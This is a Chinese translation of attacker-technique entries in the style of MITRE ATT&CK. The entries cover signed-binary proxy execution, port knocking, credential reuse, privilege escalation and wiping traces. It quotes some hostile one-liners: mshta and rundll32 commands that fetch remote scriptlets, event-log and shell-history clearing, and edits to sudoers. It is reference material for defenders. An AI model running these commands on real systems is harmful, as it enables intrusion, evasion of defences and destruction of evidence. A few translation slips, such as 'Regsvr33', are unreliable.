T1205.002 端口试探:Socket Filters 攻击者可能将过滤器附加到网络套接字以监控然后激活用于持久化或命令与控制的后门。具有提升权限的攻击者可以使用诸如libpcap库之类的功能来打开套接字并安装过滤器,以允许或禁止某些类型的数据通过套接字。过滤器可应用于通过指定网络接口(如果未指定则为每个接口)的所有流量。当网络接口接收到与过滤器条件匹配的数据包时,可以在主机上触发其他操作,例如激活反向shell。为了建立连接,攻击者向目标主机发送与已安装过滤器条件匹配的特制数据包。攻击者已使用这些套接字过滤器触发植入程序的安装、执行ping回连以及调用命令shell。与这些套接字过滤器的通信也可能与协议隧道结合使用。过滤器可以安装在任何安装了libpcap的类Unix平台上,或使用Winpcap的Windows主机上。攻击者可能使用带有pcap_setfilterlibpcap或带有SO_ATTACH_FILTER选项的标准库函数setsockopt。由于套接字连接在收到数据包之前不活动,这种行为可能难以检测,因为主机上缺乏活动、CPU开销低以及对原始套接字使用的可见性有限。
T1205.001 端口试探:端口敲门 攻击者可以使用端口敲门技术来隐藏用于持久化或C&C的开放端口。为了启用端口,攻击者将访问一系列预先设定好的顺序端口,在完成顺序端口访问后,基于主机的防火墙将会打开对应端口。可以通过不同的方法来分析信号包以触发通信。最初由Cd00r实现的是使用libpcap库来嗅探相关数据包;另一种方法是利用原始套接字,该套接字使恶意软件能够使用已打开供其他程序使用的端口。
T1218 签名二进制代理执行 攻击者可以通过执行带有签名的二进制文件代理的恶意内容,来绕过基于过程或基于签名的防御。使用受信任数字证书签名的二进制文件可以在受数字签名验证保护的Windows系统上执行。Windows安装中默认的几个Microsoft签名二进制文件可以用于代理执行其它文件。
T1218.011 签名二进制代理执行:Rundll32 攻击者可能滥用rundll32.exe来代理执行恶意代码。使用rundll32.exe可以直接执行(即共享模块),从而避免触发安全工具,这些安全工具可能由于正常操作的允许列表或误报而无法监测rundll32.exe进程的执行。Rundll32.exe通常与执行DLL负载相关联,Rundll32.exe也可以通过未公开说明的shell32.dll函数Control_RunDLL和Control_RunDLLAsUser来执行控制面板项目文件(.cpl)。双击.cpl文件也会导致rundll32.exe执行。Rundll32也可以用来执行脚本,比如JavaScript,这可以使用类似的语法来完成:rundll32.exe javascript:”..\mshtml,RunHTMLApplication “;document.write();GetObject(“script:https[:]//www[.]example[.]com/malicious.sct”)”,这种行为已经被恶意软件如Poweliks所使用。
T1218.013 签名二进制代理执行:Mavinject 攻击者可能滥用mavinject.exe来代理执行恶意代码。Mavinject.exe是Microsoft Application Virtualization Injector,一个Windows实用程序,可以作为Microsoft Application Virtualization (App-V)的一部分将代码注入外部进程。攻击者可能滥用mavinject.exe将恶意DLL注入正在运行的进程(即动态链接库注入),允许任意代码执行(例如 C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL)。由于mavinject.exe可能由Microsoft进行数字签名,通过此方法代理执行可能会逃避安全产品的检测,因为执行被掩盖在合法进程之下。除了动态链接库注入外,Mavinject.exe还可以通过其/HMODULE命令行参数被滥用来执行导入描述符注入(例如 mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER)。此命令会将包含指定DLL的导入表项注入到给定基地址的模块中。
T1218.004 签名二进制代理执行:InstallUtil 攻击者可以使用InstallUtil通过可信的Windows实用程序代理执行代码。InstallUtil是一个命令行实用程序,通过执行.NET二进制文件中指定的特定安装程序组件,允许安装和卸载资源。InstallUtil由Microsoft数字签名,位于Windows系统上的.NET目录C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe和C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe中。InstallUtil还可以通过使用二进制文件中的属性来绕过应用程序控制,这些属性执行带有该属性装饰的类[System.ComponentModel.RunInstaller(true)]。
T1218.007 签名二进制代理执行:Msiexec 攻击者可能滥用msiexec.exe来代理执行恶意负载。Msiexec.exe是Windows Installer的命令行实用程序,因此通常与执行安装软件包(.msi)关联。Msiexec.exe是由Microsoft进行数字签名的。攻击者可能滥用msiexec.exe来启动本地或网络可访问的MSI文件。Msiexec.exe也可以执行DLL,由于msiexec.exe是经过签名的,并且在Windows系统上是本机,因此可以使用msiexec.exe绕过不考虑其潜在滥用的应用程序控制解决方案。
T1218.003 签名二进制代理执行:CMSTP 攻击者可能滥用CMSTP来代理恶意代码的执行。Microsoft连接管理器配置文件安装程序(CMSTP.exe)是用于安装连接管理器服务配置文件的命令行程序。CMSTP.exe接受安装信息文件(INF)作为参数,并安装用于远程访问连接的服务配置文件。攻击者可能会向CMSTP.exe提供感染了恶意命令的INF文件,与Regsvr32 /“ Squfullydoo”相似,CMSTP.exe可能被滥用,从远程服务器加载和执行DLL或COM脚本(SCT)。由于CMSTP.exe是合法的经过签名的Microsoft应用程序,因此执行时还可以绕过AppLocker和其它应用程序控制防御。CMSTP.exe也可以被滥用来绕过用户帐户控制,并通过自动提升的COM界面从恶意INF执行任意命令。
T1218.002 签名二进制代理执行:控制面板 攻击者可能滥用control.exe来执行恶意有效负载的代理。Windows控制面板进程二进制文件(control.exe)处理控制面板项目的执行,控制面板项目是允许用户查看和调整计算机设置的实用程序。控制面板项目是注册的可执行文件(.exe)或控制面板(.cpl)文件,后者实际上是重命名的动态链接库(.dll)文件,用于导出CPlApplet功能。为了便于使用,控制面板项目通常包括图形菜单,用户可以在注册并加载到控制面板后使用,控制面板项目可以直接从命令行执行,通过应用程序编程接口(API)调用编程,或简单地双击文件执行。恶意控制面板项目可以通过网络钓鱼活动投递,也可以作为多阶段恶意软件的一部分执行。控制面板项目,尤其是CPL文件,也可能会绕过应用程序或文件扩展名允许列表。攻击者还可以使用控制面板文件扩展名(.cpl)重命名恶意DLL文件(.dll)并将其注册到HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls,即使这些注册的dll不符合CPL文件规范,也不导出CPlApplet函数,但是它们在执行控制面板时可以通过它的DllEntryPoint加载和执行。
T1218.008 签名二进制代理执行:Odbcconf 攻击者可能滥用odbcconf.exe来代理执行恶意负载。Odbcconf.exe是Windows实用程序,可以配置开放式数据库连接(ODBC)驱动程序和数据源名称。Odbcconf.exe由Microsoft数字签名。攻击者可能滥用odbcconf.exe绕过不考虑其潜在滥用问题的应用程序控制解决方案。与Regsvr32相似,odbcconf.exe具有一个REGSVR标志,该标志可被误用于执行DLL(例如:)odbcconf.exe /S /A {REGSVR “C:\Users\Public\file.dll”}。
T1218.012 签名二进制代理执行:Verclsid 攻击者可能滥用verclsid.exe来代理执行恶意代码。Verclsid.exe被称为扩展CLSID验证主机,它负责在每个shell扩展被Windows资源管理器或Windows shell使用之前验证它们。攻击者可能会滥用verclsid.exe来执行恶意的有效负载,这可以通过运行verclsid.exe /S /C {{CLSID}}来实现,其中文件由类ID (CLSID)引用文件,类ID是用于标识COM对象的唯一标识号。由verclsid.exe执行的COM有效负载可能能够执行各种恶意操作,例如从远程服务器加载和执行COM scriptlet (SCT)(类似于Regsvr32)。由于它是经过签名的,并且在Windows系统上是本机的,因此通过verclsid.exe进行代理执行可能会绕过应用程序控制解决方案。
T1218.005 签名二进制代理执行:Mshta 攻击者可能会滥用mshta.exe来通过受信任的Windows实用工具代理,来执行恶意.hta文件、Javascript或VBScript。在初始攻击期间和执行代码时,有几个利用mshta.exe威胁的不同类型的示例。Mshta.exe是一个执行微软HTML应用程序(HTA)文件的工具。HTAs是独立的应用程序,它们使用与Internet Explorer相同的模型和技术执行,但在浏览器之外。文件可能由mshta.exe通过内联脚本执行:mshta vbscript:Close(Execute(“GetObject(“”script:https[:]//webserver/payload[.]sct””)”)) 它们也可以直接从URL执行: mshta http[:]//webserver/payload[.]hta。Mshta.exe可用于绕过不考虑其潜在用途的应用程序控制解决方案。由于mshta.exe在Internet Explorer的安全上下文之外执行,因此它也绕过了浏览器安全设置。
T1218.001 签名二进制代理执行:编译的HTML文件 攻击者可能滥用已编译的HTML文件(.chm)来隐藏恶意代码。CHM文件通常作为Microsoft HTML帮助系统的一部分发布。CHM文件是各种内容的压缩编译,如HTML文档、图像和脚本/web相关的编程语言,如VBA、JScript、Java和ActiveX。CHM内容通过HTML帮助可执行程序(hh.exe)加载的IE(Internet Explorer)浏览器底层组件显示。包含嵌入式有效负载的自定义CHM文件可以传递给受害者,然后由用户执行触发。CHM执行还可能绕过较旧或未打补丁系统上的应用程序控制,这些系统未考虑通过hh.exe执行二进制文件。
T1218.010 签名二进制代理执行:Regsvr33 攻击者可能滥用Regsvr32.exe来代理执行恶意负载。Regsvr32.exe是一个命令行程序,用于在Windows系统上注册和注销对象链接和嵌入控件,包括动态链接库(DLL)。Regsvr32.exe也是Microsoft签名的二进制文件。恶意使用Regsvr32.exe可能会避免触发安全工具,这些安全工具可能无法监测regsvr32.exe进程的执行以及由regsvr32.exe进程加载的模块,这是由于Windows使用regsvr32.exe进行正常操作导致的允许列表或误报。Regsvr32.exe也可用于通过使用功能加载COM脚本以在用户权限下执行DLL,从而绕过应用程序控制。由于Regsvr32.exe支持网络和代理,因此可以在调用期间将统一资源定位符(URL)作为参数传递给外部Web服务器上的文件,从而加载脚本,此方法不会对注册表进行任何更改,因为COM对象实际上没有注册,只是执行。这种技术的变化通常称为“ Squibledoo”攻击,并已用于针对政府的运动中。Regsvr32.exe也可以通过组件对象模型劫持来注册用于建立持久性的COM对象。
T1218.009 签名二进制代理执行:Regsvcs/Regasm 攻击者可能会滥用Regsvcs和Regasm来通过受信任的Windows实用工具代理执行代码。Regsvcs和Regasm是Windows命令行实用程序,用于注册.NET组件对象模型(COM)程序集,两者均由Microsoft进行数字签名。这两个实用程序都可以通过使用二进制文件中的属性来绕过应用程序控制,这些属性指定在注册或取消注册之前运行的代码:[ComRegisterFunction]或[ComUnregisterFunction]。即使该进程没有足够的特权运行并且无法执行,带有注册和取消注册属性的代码也将被执行。
T1218.014 签名二进制代理执行:MMC 攻击者可能滥用mmc.exe来代理执行恶意.msc文件。Microsoft管理控制台(MMC)是一个可能由Microsoft签名的二进制文件,可在其GUI或命令提示符中以多种方式使用。MMC可用于创建、打开和保存包含Microsoft创建的管理工具(称为管理单元)的自定义控制台。这些管理单元可用于本地或远程管理Windows系统。MMC还可用于打开Microsoft创建的.msc文件来管理系统配置。例如,mmc C:\Users\foo\admintools.msc /a将以作者模式打开自定义保存的控制台msc文件。另一个常见示例是mmc gpedit.msc,它将打开组策略编辑器应用程序窗口。攻击者可能使用MMC命令执行恶意任务。例如,mmc wbadmin.msc delete catalog -quiet删除系统上的备份目录(即禁止系统恢复)而不提示用户(注意:wbadmin.msc可能仅默认存在于Windows Server操作系统上)。攻击者还可能滥用MMC执行恶意.msc文件。例如,攻击者可能首先创建恶意注册表类标识符(CLSID)子项,该子项唯一标识组件对象模型类对象。然后,攻击者可以使用链接到恶意CLSID子项的“链接到Web地址”管理单元创建自定义控制台。保存.msc文件后,攻击者可以使用以下命令调用恶意CLSID有效负载:mmc.exe -Embedding C:\path\to\test.msc。
T1620 反射代码加载 攻击者可能将代码反射性地加载到进程中,以隐藏恶意有效负载的执行。反射加载涉及直接在进程的内存中分配然后执行有效负载,而不是创建由磁盘上文件路径支持的线程或进程。反射加载的有效负载可以是编译的二进制文件、匿名文件(仅存在于RAM中)或无文件可执行代码片段(例如:位置无关的shellcode)。反射代码注入与进程注入非常相似,不同之处在于“注入”将代码加载到进程自己的内存中,而不是单独进程的内存中。反射加载可能会逃避基于进程的检测,因为任意代码的执行可能被掩盖在合法或其他良性进程中。将有效负载直接反射加载到内存中还可以避免在磁盘上创建文件或其他工件,同时还使恶意软件能够将这些有效负载保持加密(或其他混淆)状态,直到执行。
T1550 使用备用身份验证材料 攻击者可以使用备用身份验证材料,例如密码哈希,Kerberos票证和应用程序访问令牌,以便在环境中横向移动并绕过正常的系统访问控制。身份验证过程通常需要有效的身份(例如,用户名)以及数个身份验证因素(例如,密码,密码,物理智能卡,令牌生成器等)。在用户或应用程序通过提供有效身份和所需的身份验证因子成功进行身份验证之后,系统会合法生成备用身份验证材料。在身份创建过程中也可能生成备用身份验证材料。缓存备用身份验证材料使系统可以验证身份是否已成功身份验证,而无需要求用户重新输入身份验证因子。由于备用身份验证必须由系统维护(在内存或磁盘中),因此可能存在通过凭据访问技术被盗的风险。通过窃取备用身份验证材料,攻击者可以绕过系统访问控制并向系统进行身份验证,而无需知道明文密码或任何其他身份验证因素。
T1550.003 使用备用身份验证材料:票据传递 攻击者可能会使用窃取的Kerberos票证“票据传递”,绕过正常的系统访问控制从而在环境中横向移动。票据传递(PtT)是一种使用Kerberos票据无需访问帐户密码对系统进行身份验证的方法。Kerberos身份验证可以用作横向移动到远程系统的第一步。在这种技术中,有效帐户的有效Kerberos票据被操作系统凭证转储(OS Credential Dumping)获取。根据访问级别,可以获得用户的服务票据或票据授权票据(TGT)。服务票据允许访问特定资源,而TGT可用于从票据授权服务(TGS)请求服务票证以访问用户有权访问的任何资源。可以为使用Kerberos作为身份验证机制的服务获取Silver Ticket,并用于生成票证以访问该特定资源和承载该资源的系统(例如,SharePoint)。可以使用密钥分发服务帐户KRBTGT帐户NTLM哈希来获取域的Golden Ticket,这可以为Active Directory中的任何帐户生成TGT。
T1550.004 使用备用身份验证材料:Web会话Cookie 攻击者可以使用窃取的会话Cookie来对Web应用程序和服务进行身份验证。由于会话已通过身份验证,因此该技术绕过了一些多因素身份验证协议。用户对服务进行身份验证后,Web应用程序(包括基于云的服务)中使用将使用身份验证Cookie,而无需传递凭据,也不需要频繁进行重新身份验证。Cookie通常会长期有效,与使用Web应用程序频率无关。通过窃取Web会话Cookie获得Cookie之后,攻击者可以将Cookie导入他们控制的浏览器中,然后只要会话Cookie还未过期就可以仿冒用户访问该站点或应用程序,并访问敏感信息、阅读电子邮件或执行受害者帐户权限内的操作。
T1550.002 使用备用身份验证材料:哈希传递 攻击者可能会使用窃取的密码哈希来完成哈希传递攻击,绕过正常的系统访问控制从而在环境中横向移动。哈希传递(PtH)是一种无需访问用户的明文密码即可作为用户身份验证的方法。此方法绕过需要明文密码的标准身份验证步骤,直接进入使用密码哈希的身份验证部分。在这种技术中,使用凭据访问技术可以捕获正在使用的帐户的有效密码哈希。捕获的哈希与PtH一起用于验证该用户身份。一旦通过身份验证,PtH可用于在本地或远程系统上执行操作。
T1550.001 使用备用身份验证材料:应用程序访问令牌 攻击者可能会使用窃取的应用程序访问令牌(Token)绕过传统身份验证过程,并访问远程系统上受限制的帐户、信息或服务。这些令牌通常是从用户那里窃取的,并用来代替登录凭据。应用程序访问令牌用于识别API请求的用户,并且通常用作访问基于云的应用程序和软件即服务(SaaS)中的资源的方式。OAuth是一种常用的框架,向用户发布令牌以验证用户并确定允许用户执行的操作。一旦建立了身份,令牌就可以授权操作,而无需传递用户的实际凭据。因此,令牌的泄露可以通过恶意应用程序使攻击者获得对其他资源的访问权限。例如,使用基于云的电子邮件服务,一旦将OAuth访问令牌授予了恶意应用程序,借助OAuth访问令牌,攻击者可以使用用户授予的REST API来执行诸如电子邮件搜索和联系人枚举之类的功能。窃取的访问令牌可以用作危害其他服务的初始步骤。例如,如果令牌授予对受害者的主电子邮件的访问权限,则攻击者可能会通过使用忘记密码功能,将访问权限扩展到目标用户订阅的所有其他服务。通过令牌进行的直接API访问会否定第二个身份验证因素的有效性,并且可能不受诸如更改密码之类的直观对策的影响。即使访问服务提供商,也很难检测到通过API通道进行的访问滥用,因为访问仍然可以与合法的工作流程保持一致。
T1207 恶意域控制器 攻击者可能会注册恶意域控制器以启用对Active Directory(AD)数据的操作。DCShadow可用于创建非法域控制器(DC)。DCShadow是一种通过注册(或重新使用非活动注册)并模拟DC行为来操作AD数据(包括对象和架构)的方法。一旦注册,恶意DC便能够为任何域对象(包括凭据和密钥)注入更改并将其复制到AD基础结构中。注册恶意DC涉及在AD架构的配置分区中创建新服务器和nTDSDSA对象,这需要管理员特权(DC的域或本地)或KRBTGT散列。这种技术可能会绕过系统日志记录和安全监测器,如安全信息和事件管理(SIEM)产品(因为对流氓DC所采取的操作可能不会报告给这些传感器)。该技术也可用于修改和删除复制和其他相关元数据,以阻碍安全分析。攻击者还可以利用这种技术来执行SID-History注入或操作AD对象(如帐户、访问控制列表、模式),以建立持久性的后门。
T1610 部署容器 攻击者可能会在环境中部署容器以促进执行或规避防御。在某些情况下,攻击者可能会部署新容器来执行与特定镜像或部署相关的进程,例如执行或下载恶意软件的进程。在其他情况下,攻击者可能会部署未配置网络规则、用户限制等的新容器,以绕过环境中的现有防御。容器可以通过多种方式部署,例如通过Docker的创建和启动API,或通过Web应用程序(如Kubernetes仪表板或Kubeflow)。攻击者可能会基于检索到的或构建的恶意镜像,或从在运行时下载并执行恶意有效载荷的良性镜像部署容器。
T1112 修改注册表 攻击者可能与注册表进行交互,以在注册表项中隐藏信息,或作为清理痕迹的一部分去删除信息,亦或作为其它技术的一部分以帮助实现持久化和可执行。对注册表特定区域的访问取决于账户的权限,其中某些是需要管理员权限才可访问,内置的Windows命令行程序Reg可以用本地货远程注册表修改,也可以用一些其它工具,如远程访问工具,该工具可能包含通过Windows API与注册表进行交互的功能。注册表的修改可能包含隐藏键的操作,如以空字符开头的键名称,这将导致使用Reg或其它使用Win32 API的实用程序进行读取时被忽略,攻击者可能会利用这些进行隐藏用于保持持久化的有效载荷或命令。作为横向移动的一部分,可以远程修改系统的注册表以添加对文件的执行操作,这要求远程注册表服务在目标系统上处于运行状态,此技术通常需要有效账户和远程系统的SMB/Windows管理员以进程RPC通信的权限。
T1535 未使用/不受支持的云区域 攻击者可能会在未使用的地理服务区域中创建云实例,以逃避检测。通常通过攻击用于管理云基础架构的帐户来获得访问权限。云服务提供商通常会在全球范围内提供基础架构,以提高性能,提供冗余并允许客户满足合规性要求。通常客户只会使用一部分可用区域,而不会主动监测其他区域情况。如果攻击者在未使用的区域中创建资源,则它们可能能够被发现而无法运作。这种行为的变体利用了跨云区域的功能差异。攻击者可以利用不支持高级检测服务的区域,以避免检测其活动。例如,并非在每个区域都支持AWS GuardDuty。恶意使用未使用的AWS区域的一个示例是通过资源劫持 (T1496)来开采加密货币,这可能使管理者花费大量金钱。
T1222 文件和目录权限修改 文件和目录权限通常由文件或目录所有者或具有访问权限的用户配置的ACL管理。文件和目录ACL的机制因平台而异,但通常会明确指定哪些用户或组可以执行哪些操作(读取,写入,执行等)。权限修改可能包括更改特定的访问权限,执行这个操作可能需要获取文件或目录的所有权或者提升对此文件或者目录的访问权限。这样可能会允许了一些恶意操作,例如:修改,替换或删除特定文件或目录。特定的文件和目录修改可能是许多技术的必需步骤,例如通过辅助功能建立持久性、引导或登录初始化脚本、Unix Shell 配置修改,或通过劫持执行流污染/劫持其他工具二进制/配置文件。
T1222.002 文件和目录权限修改:Linux和Mac文件和目录权限修改 大多数Linux和基于Linux的平台都提供了一组标准的权限组(用户,组和其他)和一组适用于每个组的权限(读,写和执行)。尽管每个平台的权限实现的细微差别可能会有所不同,但是大多数平台都提供了两个用于操作文件和目录ACL的主要命令:chown(更改所有者的缩写)和chmod(更改模式的缩写)。攻击者可以使用这些命令使自己成为文件和目录的所有者,或者在当前权限允许的情况下更改模式。之后,他们可以将其他人锁定在文件之外。特定的文件和目录修改可能是许多技术的必需步骤,例如通过Unix Shell 配置修改建立持久性或通过劫持执行流污染/劫持其他工具二进制/配置文件。
T1222.001 文件和目录权限修改:Windows文件和目录权限修改 在Windows系统上,攻击者可以使用icacls,cacls,takeown和attrib等内置Windows命令与DACL进行交互,这可以为攻击者授予对特定文件和文件夹的更高权限。此外,PowerShell提供了可用于检索或修改文件和目录DACL的cmdlet。
T1548 权限控制机制滥用 大多数现代系统都包含本机权限控制机制,旨在限制用户可以在计算机上执行的特权。必须授予特定用户授权才能执行被认为具有较高风险的任务。攻击者可以执行多种方法来利用内置的控制机制来提升系统上的特权。
T1548.002 权限控制机制滥用:UAC绕过 Windows用户帐户控制(UAC)允许程序提升其特权,需要用户确认是否在管理员权限下执行任务,而不是强制拒绝并要求输入administrator的密码才能完成操作。如果UAC级别设置的不是最高级别,则某些windows程序可以提权,而无需通过UAC通知框的提示,恶意软件使用Rundll32加载特制的DLL,该DLL加载一个自动提升的组件对象,并在通常需要提升访问权限才能访问的受保护目录中执行文件操作。恶意软件也可以被注入到受信任的进程中,以实现在不提示用户的情况下获得提升的特权。eventvwr.exe可以自动提升并执行指定的二进制文件或脚本。如果具有管理帐户的凭据,则可以通过横向移动技术进行另一种绕过,因为UAC是单一系统安全机制,在一个系统上运行进程的特权,在远程系统上却是未知的,并且默认为高度可信。
T1548.003 权限控制机制滥用:Sudo和Sudo缓存 攻击者可能以更高权限的用户或进程的身份来执行命令。在Linux和MacOS系统中,sudo(有时称为“超级用户”)使用户可以从具有特权的终端执行命令,并控制谁可以在系统上执行这些命令。sudo命令允许系统管理员委派权限,以赋予某些用户(或用户组)以root用户或另一个用户身份运行某些(或全部)命令的能力,同时提供命令及其参数的审核跟踪。由于sudo是为系统管理员设计的,因此它具有一些有用的配置功能,例如timestamp_timeout,它是两次输入sudo需要重新输入密码的间隔时间。这是因为sudo可以缓存凭据一段时间,此外,还有一个tty_tickets变量可单独处理每个新的tty(终端会话)。这意味着,例如,一个tty的sudo超时不会影响另一个tty。/etc/sudoers文件描述了哪些用户可以在哪些终端上运行哪些命令,也描述了可以用其他用户/组的身份运行的命令,默认是最小特权原则,并需要通过提示输入密码的方式提升权限运行,但是sudoers文件可以指定在何种情况下不需要输入密码,例如user1 ALL =(ALL)NOPASSWORD:ALL。攻击者可以滥用这些机制无需密码来提升权限。例如可以监测/var/db/sudo的时间戳是否在timestamp_timeout范围内,如果是,则恶意软件可以执行sudo命令且不需要密码,另外,如果禁用了tyy_tickets,则攻击者可以从用户的任何tty中执行此操作。恶意软件的在野利用往往发出echo \’Defaults !tty_tickets\’ >> /etc/sudoers的命令来禁用tty_tickets,从而使脚本编写变得更容易。从macOS Sierra 开始,sudoers文件默认情况下启用了tty_tickets。
T1548.001 权限控制机制滥用:Setuid和Setgid 在Linux或macOS上,当为应用程序设置了setuid或setgid时,该应用程序将分别以拥有者的特权运行。通常,应用程序是在当前用户的上下文中运行的,而不管哪个用户或组拥有该应用程序。但是,在某些情况下,需要在提升权限的上下文中执行程序才能正常运行,但运行它们的用户并不需要提升权限。任何用户都可以给应用程序设置setuid或setgid,不必为sudoers的文件创建目录(必须由root用户完成),通过ls -l可查看文件属性,标记为S而不是X,chmod 4777 [file]可设置这些标志,或命名简写chmod u+s。攻击者可能在其恶意软件中设计这种机制,以保证未来可以提升权限。
T1548.004 权限控制机制滥用:伴随提示的权限提升 此API的目的是为开发人员提供一种使用root特权执行操作的简便方法,例如用于应用程序的安装或更新。此API不会验证请求root特权的程序是否来自可信的来源还是被恶意修改过。
T1070 删除主机上的指示器 攻击者可能会删除或更改主机系统上生成的信息,包括日志或捕获的文件,如隔离的恶意软件。日志的位置上和格式是特定于平台或产品的,但是标准的操作系统日志为Windows事件或Linux/mocOS文件,如Bash History和 /var/log/*。攻击者可能会删除或更改主机系统上生成的信息,这些操作可能会干扰事件的收集、报告或其它用于检测入侵行为的信息,导致未报告重大事件以损害安全解决方案的完整性,由于缺乏足够的数据来确定发生了什么,会使得取证分析和事件响应变的更加困难。
T1070.002 删除主机上的指示器:清除Linux或Mac系统日志 攻击者可能会清理系统日志,以隐藏入侵痕迹,macOS和Linux都会通过系统日志来跟踪系统或用户启用的操作。macOS和Linux系统中大多数系统日志都存储在/var/log目录下,此目录中的子文件夹按日志的功能对日志进行分类,例如: /var/log/messages :常规和系统相关的消息 /var/log/secure或/var/log/auth.log:身份验证日志 /var/log/utmp 或/var/log/wtmp:登录记录 /var/log/kern.log:内核日志 /var/log/cron.log:Crond日志 /var/log/maillog:邮件服务器日志 /var/log/httpd/:Web服务器访问和错误日志
T1070.007 删除主机上的指示器:清除网络连接历史和配置 攻击者可能清除或删除恶意网络连接的证据,以清理其操作痕迹。配置设置以及突出显示连接历史的各种痕迹可能会在系统上由需要网络连接的行为创建,例如远程服务或外部远程服务。防御者可能使用这些痕迹来监控或以其他方式分析攻击者创建的网络连接。网络连接历史可能存储在系统的各个位置。例如,RDP连接历史可能存储在以下Windows注册表值下:HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default和HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers。Windows还可能在诸如C:\Users\%username%\Documents\Default.rdp和C:\Users\%username%\AppData\Local\Microsoft\Terminal Server Client\Cache\等文件中存储有关最近RDP连接的信息。类似地,macOS和Linux主机可能在系统日志(如存储在/Library/Logs和/或/var/log/中的日志)中存储突出显示连接历史的信息。恶意网络连接可能还需要更改网络配置设置,例如禁用或修改系统防火墙或篡改以启用代理。攻击者可能删除或修改此数据以隐藏指示器和/或阻碍防御分析。
T1070.003 删除主机上的指示器:清除历史命令 除了清除系统日志外,攻击者还会清除受害者账户的命令的历史记录,以隐藏攻击者入侵期间执行的操作。各种命令解析器会跟踪用户在终端输入的命令,以便用户可以追溯到自己所做的事情。在Linux和macOS系统中,可以通过几种不同的方式去访问历史命令记录,登录后,将在环境变量HISTFILE执行文件中跟踪此命令历史记录。当用户注销系统时,这个信息将会添加到主目录的~/.bash_history文件中,这样做的好处就是,它允许用户返回一层在不同会话中使用过的命令。攻击者可能手动清空这些历史记录(history -c)或使用rm ~/.bash_history删除bash历史记录文件。在Windows主机中,PowerShell具有两个不同的历史命令记录:内置历史命令和PSReadLine模块管理的历史命令。内置的历史记录仅会记录当前会话中使用的命令,该历史命令记录不能用于其它会话,并在会话结束时将被删除。PSReadLine历史命令记录会记录所有PowerShell会话中使用过的命令,并将它们写入到文件中(默认写到:$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt),该历史命令记录可用于所有会话,并且包括所有过去的历史记录,因此在会话结束时不会删除该文件。攻击者可能执行PowerShell命令Clear-History清除当前PowerShell会话中的整个命令历史记录,但是这不会删除或清空ConsoleHost_history.txt文件,因此攻击者还可能删除ConsoleHost_history.txt文件或编辑其中的内容以隐藏攻击者在PowerShell中执行过的命令。
T1070.008 删除主机上的指示器:清除邮箱数据 攻击者可能修改邮件应用程序数据以删除其活动证据。电子邮件应用程序允许用户和其他程序通过命令行工具或API导出和删除邮箱数据。邮件应用程序数据可以是电子邮件或应用程序或操作系统生成的日志,例如导出请求。攻击者可能操纵电子邮件邮箱数据以删除日志和痕迹,例如网络钓鱼/内部钓鱼、电子邮件收集、用于命令和控制的邮件协议或基于电子邮件的渗出(如通过替代协议渗出)的证据。例如,为了删除Exchange服务器上的证据,攻击者使用了ExchangePowerShell模块,包括Remove-MailboxExportRequest来删除邮箱导出的证据。在Linux和macOS上,攻击者还可能通过名为mail的命令行实用程序删除电子邮件,或使用AppleScript与macOS上的API交互。
T1070.006 删除主机上的指示器:修改文件时间戳 攻击者可能通过修改文件的时间属性,以隐藏新文件或对现有文件的修改。时间戳技术是一种修改文件时间戳(修改、访问、创建和更改时间)的技术,通常用于模仿同一文件夹中的文件,例如:利用该技术修改被攻击者修改或创建文件的时间戳,以便其不会在调查分析和文件分析工作的可疑列表中。时间戳修改技术可以与文件名伪装一起使用,以隐藏恶意软件和工具。
T1070.001 删除主机上的指示器:清除Windows事件日志 攻击者可能会清理Windows事件日志记录以隐藏其入侵行为。Windows事件日志是计算机上的告警和通知记录,有三种系统定义的事件源:系统、应用程序和安全,具有五种事件类型:错误、警告、信息、审核成功和审核失败。事件日志可以通过以下命令进行清理: wevtutil cl system wevtutil cl application wevtutil cl security 日志也可以通过其它机制进行清除,如事件查看器GUI或PowerShell。
T1070.005 删除主机上的指示器:删除网络共享连接 攻击者可能删除不再用的共享连接,以清除其操作的痕迹。当不需要的时候,可疑删除Windows共享驱动和Windows关联共享连接,举个例子:Net,可疑使用net use \system\share /delete 命令删除网络共享连接。
T1070.009 删除主机上的指示器:清除持久性 攻击者可能清除与主机系统上先前建立的持久性相关的痕迹,以删除其活动证据。这可能涉及各种操作,例如删除服务、删除可执行文件、修改注册表、Plist文件修改或其他清理方法,以防止防御者收集其持久存在的证据。在某些情况下,一旦攻击者的持久性被执行,也可能会删除持久性痕迹,以防止恶意软件新实例出现错误。
T1070.004 删除主机上的指示器:删除文件 攻击者可能会删除攻击者入侵行为所留下的文件。攻击者在系统上会删除恶意软件、工具或其它非本机的文件,以及核能在系统上留下痕迹以指示在网络中做了哪些事件及如何做的文件,也可以在入侵过程中删除这些文件,在最大程度上减少攻击者的痕迹。主机操作系统中也提供了一些工具来清理痕迹,但攻击者也可以使用其它工具,如:主机CMD函数(如DEL)、安全删除工具(如Windows Sysinternals SDelete)或者其它第三方文件删除工具。
T1647 Plist文件修改 攻击者可能修改属性列表文件(plist文件)以启用其他恶意活动,同时可能逃避和绕过系统防御。macOS应用程序使用plist文件(如info.plist文件)存储属性和配置设置,告知操作系统在运行时如何处理应用程序。plist文件是基于Apple的Core Foundation DTD以XML格式格式化的键值对结构化元数据。plist文件可以保存为文本或二进制格式。攻击者可以修改plist文件中的键值对来影响系统行为,例如隐藏应用程序的执行(即隐藏窗口)或运行其他持久性命令(例如启动代理/启动守护程序或重新打开的应用程序)。例如,攻击者可以将恶意应用程序路径添加到~/Library/Preferences/com.apple.dock.plist文件,该文件控制出现在Dock中的应用程序。攻击者还可以修改应用程序info.plist文件中的LSUIElement键,使应用程序在后台运行。攻击者还可以插入键值对来插入环境变量(如LSEnvironment),以通过动态链接器劫持实现持久性。
T1542 Pre-OS Boot 攻击者可能通过滥用Pre-OS Boot机制,在系统上建立持久性。计算机启动过程中,攻击者可能在操作系统加载之前加载固件和各种启动服务,或者覆盖Boot驱动程序或固件(例如BIOS(基本输入/输出系统)和统一可扩展固件接口(UEFI))中的数据,来完成攻击。这种攻击比较难以检测,因为基于主机软件的防御不会检测到此级别的恶意软件。
